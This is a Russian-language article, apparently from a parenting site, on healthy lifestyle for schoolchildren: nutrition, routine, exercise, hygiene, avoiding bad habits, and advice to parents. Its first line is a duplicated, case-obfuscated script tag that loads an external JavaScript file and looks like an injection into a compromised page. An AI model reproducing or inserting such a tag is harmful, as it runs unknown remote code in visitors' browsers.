<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Здоровый
образ жизни школьника
Здоровый образ жизни – важнейшее условие здоровья любого человека.
Соблюдение здорового образа жизни особенно актуально в детском возрасте, когда
психика и тело человека еще только формируются.
Актуальность
проблемы
На здоровье человека оказывает влияние целая группа различных факторов –
это и наследственность, и экологическая обстановка, и уровень развития
медицины. Однако наиболее существенным фактором является тот образ жизни,
которого придерживается человек. К счастью, это именно та область, которую мы в
силах регулировать сами. Игнорирование вопроса здорового образа жизни, как
правило, приводит к самым плачевным результатам, когда даже самый мощный запас
здоровья ребенка истощается и человек становится заложником различных недугов.
Как показывает статистика, за время обучения в школе около половины
детей приобретают то или иное хроническое заболевание и только 10% выпускников
полностью здоровы. Уберечь своего ребенка от заболеваний и сохранить его
здоровье на максимально высоком уровне вполне по силам родителям и педагогам –
нужно лишь понимать важность этой проблемы и действовать грамотно и продумано.
О подходе к воспитанию здорового образа жизни мы
поговорим в отдельной статье, а пока определимся, какими критериями
определяется здоровый образ жизни школьника.
В чем
особенность школьного периода жизни?
Говоря о здоровом образе жизни школьника, мы должны четко представлять,
какие особенности его жизни могут представлять опасность для нарушения
гармоничной схемы поведения. Попробуем сформулировать основные моменты.
1.Возрастающая учебная нагрузка в школе.
2.Занятия в учреждениях дополнительного образования.
3.Уменьшение контроля со стороны родителей.
4.Становление личности ребенка и формирование собственных взглядов на
правильный образ жизни.
5.Влияние сверстников на поведение, предпочтения и устремления.
6.Половое созревание и связанное с ним поведение.
7.Психологическая ранимость ребенка в критические переходные периоды, в
том числе в подростковом возрасте.
Здоровый образ жизни школьника: основные принципы
В вопросе здорового образа жизни школьника задача родителей и педагогов
подразумевает три основных направления:
1.создание оптимальных внешних условий (питание, одежда, подходящая
мебель и т.п.);
2.составление гармоничного режима труда и отдыха;
3.воспитание правильных представлений о здоровом образе жизни и его
важности, а также формирование здорового стереотипа поведения.
Здоровый образ жизни формируется из множества составляющих, причем
каждый компонент по-своему важен. Игнорирование даже одного из них может свести
на нет все прочие усилия.
Правильное
питание
Питание школьника должно быть полноценным и сбалансированным. Энергии и
питательных веществ должно хватать на рост и ежедневную активность, при этом
избыток и недостаток калорийности и питательной ценности одинаково вредны.
Рациональный
режим дня
Сюда входит режим труда, подразумевающий рациональную учебную нагрузку,
а также достаточный объем качественного отдыха, в том числе сна.
Оптимальная
физическая нагрузка
Любой ребенок, даже самый «неспортивный», должен заниматься физкультурой
или спортом. Учитывая, что уроки физкультуры не в состоянии обеспечить
достаточную физическую нагрузку, в свободное время школьнику рекомендуется
посещать спортивную секцию и выделять время на подвижные игры на свежем воздухе.
Закаливание
Закаливание является отличным средством повышения сопротивляемости
организма: человек становится менее подверженным простудным заболеваниям, он
реже болеет вирусными инфекциями даже во время эпидемий.
Соблюдение
гигиенических норм
В эту группу входят все основные гигиенические мероприятия: поддержание
чистоты полости рта и тела, гигиена половых органов, чистота постельного и
нательного белья, использование только личных предметов гигиены и т.п.
Отказ от
вредных привычек
Курение, алкоголь, любая форма наркомании несовместимы со здоровым
образом жизни и угрожают школьнику задержкой роста и развития, формированием
различных заболеваний и даже смертью.
Благоприятная
психологическая обстановка в семье
Добрые дружеские отношения между всеми членами семьи являются основой
психического здоровья школьника.
Более подробно о каждом из компонентов здорового образа жизни читайте в
нашей статье «Основы здорового образа жизни школьника».
Здоровый
образ жизни школьника: советы родителям
Знание общих принципов здорового образа жизни само по себе не дает
ничего позитивного: здоровье не улучшится до тех пор, пока не будут приняты
достаточные меры в этом направлении. Общие принципы мало приемлемы для
конкретного человека: «стричь всех под одну гребенку» неполезно, да и просто
невозможно.
Как
составить индивидуальный план здорового образа жизни для школьника?
Надеемся, наши советы помогут вам.
Учитывайте
возраст ребенка
Это касается практически каждого аспекта здорового образа жизни:
питание, продолжительность сна, допустимая учебная нагрузка, характер
физической активности строятся на основе потребностей и возможностей
определенного возраста.
Помните о
разном исходном запасе здоровья, физической выносливости и индивидуальных
особенностях психики школьника
Не секрет, что есть дети с разной потребностью в движении, общении,
отдыхе – обязательно стройте распорядок дня своего школьника с учетом этих
особенностей.
Корректируйте
образ жизни в зависимости от критических периодов жизни и возникновения острых
заболеваний
Если в один из переходных периодов вы заметили, что ребенок стал больше
уставать – по возможности снизьте учебную и дополнительную нагрузку.
Не
переусердствуйте: постарайтесь не давить на ребенка
Действуйте больше убеждением и собственным примером. Выбирая способ
закаливания, посоветуйтесь с ребенком. Не заставляйте его есть, например,
«такую полезную» цветную капусту, если он ее не любит – возможно, он предпочтет
другой вид капусты или свеклу с морковью. Не заставляйте его ходить непременно
в секцию борьбы – пусть он сам выберет вид спорта, который ему больше нравится.
В
ограничении вредных факторов будьте разумны
Ничего страшного не случится, если, например, в день рождения или в
гостях ребенок поест не совсем полезную пищу.
Будьте
последовательны и постоянны
Образ жизни только тогда будет здоровым, когда он будет регулярным.
Эпизодические занятия физкультурой, обливания холодной водой по понедельникам и
чередование питания на пару с поеданием большого количества гамбургеров могут
только навредить.